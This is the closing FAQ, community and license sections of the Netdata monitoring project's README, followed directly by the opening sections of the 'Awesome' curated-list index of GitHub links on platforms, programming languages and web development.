Any Netdata Agent can act as a Netdata Registry. Simply designate one Netdata Agent as your registry, and our global Netdata Registry will no longer be in use. For further information on this, please refer to [this guide](https://learn.netdata.cloud/docs/configuring/securing-netdata-agents/registry).
<br/> <br/>
</details>
### :smirk: Who uses Netdata?
Netdata is a widely adopted project...
<details><summary>Click to see detailed answer ...</summary>
<br/> <br/>
Browse the [Netdata stargazers on GitHub](https://github.com/netdata/netdata/stargazers) to discover users from renowned companies and enterprises, such as AMD, Amazon, Baidu, Cisco, Delta, Facebook, IBM, Intel, Netflix, Qualcomm, Riot Games, SAP, Samsung, Unity, Valve, and many others.
Netdata also enjoys significant usage in academia, with notable institutions including New York University, Columbia University, New Jersey University, among several others.
And, Netdata is also used by numerous governmental organizations worldwide.
In a nutshell, Netdata proves invaluable for:
- **Infrastructure intensive organizations**<br/>
Such as hosting/cloud providers and companies with hundreds or thousands of nodes, who require a high-resolution, real-time monitoring solution for a comprehensive view of all their components and applications.
- **Technology operators**<br/>
Those in need of a standardized, comprehensive solution for round-the-clock operations. Netdata not only facilitates operational automation and provides controlled access for their operations engineers, but also enhances skill development over time.
- **Technology startups**<br/>
Who seek a feature-rich monitoring solution from the get-go.
- **Freelancers**<br/>
Who seek a simple, efficient and straightforward solution without sacrificing performance and outcomes.
- **Professional SysAdmins and DevOps**<br/>
Who appreciate the fine details and understand the value of holistic monitoring from the ground up.
- **Everyone else**<br/>
All of us, who are tired of the inefficiency in the monitoring industry and would love a refreshing change and a breath of fresh air. :slightly_smiling_face:
<br/> <br/>
</details>
### :globe_with_meridians: Is Netdata open-source?
The Netdata Agent back-end is entirely open-source. We ship 3 different versions of the UI: 2 open-source versions and 1 closed-source version.
<details><summary>Click to see detailed answer ...</summary>
<br/> <br/>
The entire back-end of the Netdata Agent is open-source, licensed under GPLv3+. We don't develop a separate enterprise version. All users, including commercial ones, use the same Netdata Agent.
The Netdata Agent is shipped with multiple UI versions:
- `http://agent.ip:19999/v0/`, the original open-source single-node UI, GPLv3+.
- `http://agent.ip:19999/v1/`, the latest open-source single-node UI, GPLv3+.
- `http://agent.ip:19999/v2/`, a snapshot of the latest Netdata Cloud UI as it was at the time the agent was released, licensed to be distributed with Netdata Agents under [NCUL1](https://github.com/netdata/netdata/blob/master/web/gui/v2/LICENSE.md).
When you access a Netdata Agent via `http://agent.ip:19999/` a splash screen attempts to use the latest live version of Netdata Cloud UI (downloaded from Cloudflare). This only happens when the web browser has internet connectivity and Netdata Cloud is not disabled at the agent configuration. Otherwise, it falls back to `http://agent.ip:19999/v2/`.
The Netdata Cloud UI is not open-source. But we thought that it is to the benefit of the community to allow everyone to use it directly with Netdata Agents, for free, even if Netdata Cloud is not used.
<br/> <br/>
</details>
### :moneybag: What is your monetization strategy?
Netdata generates revenue through subscriptions to advanced features of Netdata Cloud and sales of on-premise and private versions of Netdata Cloud.
<details><summary>Click to see detailed answer ...</summary>
<br/> <br/>
Netdata generates revenue from these activities:
1. **Netdata Cloud Subscriptions**<br/>
Direct funding for our project's vision comes from users subscribing to Netdata Cloud's advanced features.
2. **Netdata Cloud On-Prem or Private**<br/>
Purchasing the on-premises or private versions of Netdata Cloud supports our financial growth.
Our Open-Source Community and the free access to Netdata Cloud, contribute to Netdata in the following ways:
- **Netdata Cloud Community Use**<br/>
The free usage of Netdata Cloud demonstrates its market relevance. While this doesn't generate revenue, it reinforces trust among new users and aids in securing appropriate project funding.
- **User Feedback**<br/>
Feedback, especially issues and bug reports, is invaluable. It steers us towards a more resilient and efficient product. This, too, isn't a revenue source but is pivotal for our project's evolution.
- **Anonymous Telemetry Insights**<br/>
Users who keep anonymous telemetry enabled, help us make data informed decisions in refining and enhancing Netdata. This isn't a revenue stream, but knowing which features are used and how, contributes in building a better product for everyone.
We don't monetize, directly or indirectly, users' or "device heuristics" data. Any data collected from community members are exclusively used for the purposes stated above.
Netdata grows financially when tehnnology intensive organizations and operators, need - due to regulatory or business requirements - the entire Netdata suite (including Netdata Cloud) on-prem or private, bundled with top-tier support. It is a win-win case for all parties involved: these companies get a battle tested, robust and reliable solution, while the broader community that helps us build this product, enjoys it at no cost.
<br/> <br/>
</details>
## :book: Documentation
Netdata's documentation is available at [**Netdata Learn**](https://learn.netdata.cloud).
This site also hosts a number of [guides](https://learn.netdata.cloud/guides) to help newer users better understand how
to collect metrics, troubleshoot via charts, export to external databases, and more.
## :tada: Community
<p align="center">
<a href="https://discord.com/invite/mPZ6WZKKG2"><img alt="Discord" src="https://img.shields.io/discord/847502280503590932?logo=discord&logoColor=white&label=chat%20on%20discord"></a>
<a href="https://community.netdata.cloud"><img alt="Discourse topics" src="https://img.shields.io/discourse/topics?server=https%3A%2F%2Fcommunity.netdata.cloud%2F&logo=discourse&label=discourse%20forum"></a>
<a href="https://github.com/netdata/netdata/discussions"><img alt="GitHub Discussions" src="https://img.shields.io/github/discussions/netdata/netdata?logo=github&label=github%20discussions"></a>
</p>
Netdata is an inclusive open-source project and community. Please read our [Code of Conduct](https://github.com/netdata/.github/blob/main/CODE_OF_CONDUCT.md).
Join the Netdata community:
- Chat with us and other community members on [Discord](https://discord.com/invite/mPZ6WZKKG2).
- Start a discussion on [GitHub discussions](https://github.com/netdata/netdata/discussions).
- Open a topic to our [community forums](https://community.netdata.cloud).
> **Meet Up** :people_holding_hands::people_holding_hands::people_holding_hands:<br/>
> The Netdata team and community members have regular online meetups, usually every 2 weeks.<br/>
> **You are welcome to join us!**
> [Click here for the schedule](https://www.meetup.com/netdata/events/).
You can also find Netdata on:<br/>
[Twitter](https://twitter.com/linuxnetdata) | [YouTube](https://www.youtube.com/c/Netdata) | [Reddit](https://www.reddit.com/r/netdata/) | [LinkedIn](https://www.linkedin.com/company/netdata-cloud/) | [StackShare](https://stackshare.io/netdata) | [Product Hunt](https://www.producthunt.com/posts/netdata-monitoring-agent/) | [Repology](https://repology.org/metapackage/netdata/versions) | [Facebook](https://www.facebook.com/linuxnetdata/)
## :pray: Contribute
Contributions are essential to the success of open-source projects. In other words, we need your help to keep Netdata great!
What is a contribution? All the following are highly valuable to Netdata:
1. **Let us know of the best-practices you believe should be standardized**<br/>
Netdata should out-of-the-box detect as many infrastructure issues as possible. By sharing your knowledge and experiences, you help us build a monitoring solution that has baked into it all the best-practices about infrastructure monitoring.
2. **Let us know if Netdata is not perfect for your use case**<br/>
We aim to support as many use cases as possible and your feedback can be invaluable. Open a GitHub issue, or start a GitHub discussion about it, to discuss how you want to use Netdata and what you need.
Although we can't implement everything imaginable, we try to prioritize development on use-cases that are common to our community, are in the same direction we want Netdata to evolve and are aligned with our roadmap.
3. **Support other community members**<br/>
Join our community on GitHub, Discord and Reddit. Generally, Netdata is relatively easy to set up and configure, but still people may need a little push in the right direction to use it effectively. Supporting other members is a great contribution by itself!
4. **Add or improve integrations you need**<br/>
Integrations tend to be easier and simpler to develop. If you would like to contribute your code to Netdata, we suggest that you start with the integrations you need, which Netdata does not currently support.
General information about contributions:
- Check our [Security Policy](https://github.com/netdata/netdata/security/policy).
- Found a bug? Open a [GitHub issue](https://github.com/netdata/netdata/issues/new?assignees=&labels=bug%2Cneeds+triage&template=BUG_REPORT.yml&title=%5BBug%5D%3A+).
- Read our [Contributing Guide](https://github.com/netdata/.github/blob/main/CONTRIBUTING.md), which contains all the information you need to contribute to Netdata, such as improving our documentation, engaging in the community, and developing new features. We've made it as frictionless as possible, but if you need help, just ping us on our community forums!
- We have a whole category dedicated to contributing and extending Netdata on our [community forums](https://community.netdata.cloud/c/agent-development/9)
Package maintainers should read the guide on [building Netdata from source](https://github.com/netdata/netdata/blob/master/packaging/installer/methods/source.md) for
instructions on building each Netdata component from the source and preparing a package.
## License
Netdata is released under [GPLv3+](https://github.com/netdata/netdata/blob/master/LICENSE). Netdata re-distributes other open-source tools and libraries. Please check the
[third party licenses](https://github.com/netdata/netdata/blob/master/REDISTRIBUTED.md).
The Latest Netdata UI, is distributed under [NCUL1](https://github.com/netdata/netdata/blob/master/web/gui/v2/LICENSE.md). It also uses third party open source components. Check the [UI third party licenses](https://github.com/netdata/netdata/blob/master/web/gui/v2/3D_PARTY_LICENSES.txt)
|
<div align="center">
<img width="500" height="350" src="media/logo.svg" alt="Awesome">
<br>
<br>
<p>
<p>
<sup>
<a href="https://github.com/sponsors/sindresorhus">My open source work is supported by the community</a>
</sup>
</p>
<sup>Special thanks to:</sup>
<br>
<br>
<a href="https://standardresume.co/tech">
<img src="https://sindresorhus.com/assets/thanks/standard-resume-logo.svg" width="160"/>
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<a href="https://retool.com/?utm_campaign=sindresorhus">
<img src="https://sindresorhus.com/assets/thanks/retool-logo.svg" width="210"/>
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<a href="https://doppler.com/?utm_campaign=github_repo&utm_medium=referral&utm_content=awesome&utm_source=github">
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<b>All your environment variables, in one place</b>
<div>
<sub>Stop struggling with scattered API keys, hacking together home-brewed tools,</sub>
<br>
<sup>and avoiding access controls. Keep your team and servers in sync with Doppler.</sup>
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</p>
<br>
<br>
<br>
<br>
</div>
<p align="center">
<a href="awesome.md">What is an awesome list?</a>
<a href="contributing.md">Contribution guide</a>
<a href="create-list.md">Creating a list</a>
<a href="https://twitter.com/awesome__re">Twitter</a>
<a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a>
</p>
<br>
<div align="center">
<b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b>
</div>
<br>
<p align="center">
<sub>Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.</sub>
</p>
<br>
## Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-End Development](#front-end-development)
- [Back-End Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management Systems](#content-management-systems)
- [Hardware](#hardware)
- [Business](#business)
- [Work](#work)
- [Networking](#networking)
- [Decentralized Systems](#decentralized-systems)
- [Higher Education](#higher-education)
- [Events](#events)
- [Testing](#testing)
- [Miscellaneous](#miscellaneous)
- [Related](#related)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine.
- [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js.
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme)
- [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets.
- [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google.
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme)
- [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS.
- [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps.
- [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android.
- [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution.
- [Linux](https://github.com/inputsh/awesome-linux#readme)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme)
- [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems.
- [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux.
- [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers.
- [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme)
- [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme)
- [Apps](https://github.com/jaywcjlove/awesome-mac#readme)
- [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme)
- [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch.
- [JVM](https://github.com/deephacks/awesome-jvm#readme)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme)
- [Windows](https://github.com/Awesome-Windows/Awesome#readme)
- [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol.
- [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools.
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service.
- [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more.
- [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework.
- [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system.
- [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby.
- [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms.
- [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux.
- [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience.
- [.NET](https://github.com/quozd/awesome-dotnet#readme)
- [Core](https://github.com/thangchung/awesome-dotnet-core#readme)
- [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages.
- [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant.
- [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers.
- [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.
- [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first.
- [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies.
- [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform.
- [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps.
- [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device.
- [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site.
- [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant.
- [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications.
- [Deno](https://github.com/denolib/awesome-deno#readme) - A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust.
- [DOS](https://github.com/balintkissdev/awesome-dos#readme) - Operating system for x86-based personal computers that was popular during the 1980s and early 1990s.
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)
- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)
- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)
- [Tips](https://github.com/loverajoel/jstips#readme)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.
- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.
- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.
- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.
- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)
- [Observables](https://github.com/sindresorhus/awesome-observables#readme)
- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.
- [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds.
- [Ponyfills](https://github.com/Richienb/awesome-ponyfills#readme) - Like polyfills but without overriding native APIs.
- [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast.
- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)
- [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability.
- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.
- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.
- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.
- [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning.
- [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python.
- [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers.
- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)
- [Haskell](https://github.com/krispo/awesome-haskell#readme)
- [PureScript](https://github.com/passy/awesome-purescript#readme)
- [Go](https://github.com/avelino/awesome-go#readme)
- [Scala](https://github.com/lauris/awesome-scala#readme)
- [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM.
- [Ruby](https://github.com/markets/awesome-ruby#readme)
- [Clojure](https://github.com/razum2um/awesome-clojure#readme)
- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)
- [Elixir](https://github.com/h4cc/awesome-elixir#readme)
- [Elm](https://github.com/sporto/awesome-elm#readme)
- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)
- [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science.
- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)
- [C](https://github.com/inputsh/awesome-c#readme)
- [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software.
- [R](https://github.com/qinwf/awesome-R#readme) - Functional programming language and environment for statistical computing and graphics.
- [Learning](https://github.com/iamericfletcher/awesome-r-learning-resources#readme)
- [D](https://github.com/dlang-community/awesome-d#readme)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development.
- [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme)
- [Perl](https://github.com/hachiojipm/awesome-perl#readme)
- [Groovy](https://github.com/kdabir/awesome-groovy#readme)
- [Dart](https://github.com/yissachar/awesome-dart#readme)
- [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere".
- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)
- [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme)
- [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme)
- [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme)
- [Fortran](https://github.com/rabbiabram/awesome-fortran#readme)
- [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language.
- [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager.
- [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme)
- [Crystal](https://github.com/veelenga/awesome-crystal#readme)
- [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM.
- [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software.
- [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR.
- [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM.
- [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML.
- [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential.
- [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms.
- [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript.
- [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code.
- [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs.
- [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software.
## Front-End Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)
- [Web Tools](https://github.com/lvwzhen/tools#readme)
- [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen.
- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)
- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)
- [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme)
- [React](https://github.com/enaqx/awesome-react#readme) - App framework.
- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.
- [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class.
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme)
- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.
- [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework.
- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.
- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.
- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.
- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library.
- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit.
- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)
- [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework.
- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)
- [Meteor](https://github.com/Urigo/awesome-meteor#readme)
- [BEM](https://github.com/sturobson/BEM-resources#readme)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)
- [Web Typography](https://github.com/deanhume/typography#readme)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)
- [Material Design](https://github.com/sachin1092/awesome-material#readme)
- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.
- [Emails](https://github.com/jonathandion/awesome-emails#readme)
- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)
- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)
- [Offline-First](https://github.com/pazguille/offline-first#readme)
- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)
- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.
- [Text Editing](https://github.com/dok/awesome-text-editing#readme)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)
- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.
- [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework.
- [Charting](https://github.com/zingchart/awesome-charting#readme)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)
- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.
- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.
- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)
- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)
- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.
- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.
- [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler.
- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.
- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.
- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.
- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.
- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.
- [Preact](https://github.com/preactjs/awesome-preact#readme) - App framework.
- [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme)
- [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps.
- [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript.
- [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup.
- [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end.
- [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience.
- [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components.
- [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly.
- [PageSpeed Metrics](https://github.com/csabapalfi/awesome-pagespeed-metrics#readme) - Metrics to help understand page speed and user experience.
- [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development.
- [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly.
- [Web Performance Budget](https://github.com/pajaydev/awesome-web-performance-budget#readme) - Techniques to ensure certain performance metrics for a website.
- [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc.
- [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly.
- [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development.
- [Building Blocks for Web Apps](https://github.com/componently-com/awesome-building-blocks-for-web-apps#readme) - Standalone features to be integrated into web apps.
- [Svelte](https://github.com/TheComputerM/awesome-svelte#readme) - App framework.
- [Design systems](https://github.com/klaufel/awesome-design-systems#readme) - Collection of reusable components, guided by rules that ensure consistency and speed.
## Back-End Development
- [Flask](https://github.com/mjhea0/awesome-flask#readme) - Python framework.
- [Docker](https://github.com/veggiemonk/awesome-docker#readme)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment.
- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework.
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.
- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework.
- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)
- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.
- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)
- [TALL Stack](https://github.com/blade-ui-kit/awesome-tall-stack#readme) - Full-stack development solution featuring libraries built by the Laravel community.
- [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby.
- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.
- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework.
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)
- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.
- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework.
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations.
- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework.
- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures.
- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.
- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.
- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.
- [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift.
- [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework.
- [FastAPI](https://github.com/mjhea0/awesome-fastapi#readme) - Python web app framework.
- [CDK](https://github.com/kolomied/awesome-cdk#readme) - Open-source software development framework for defining cloud infrastructure in code.
- [IAM](https://github.com/kdeldycke/awesome-iam#readme) - User accounts, authentication and authorization.
## Computer Science
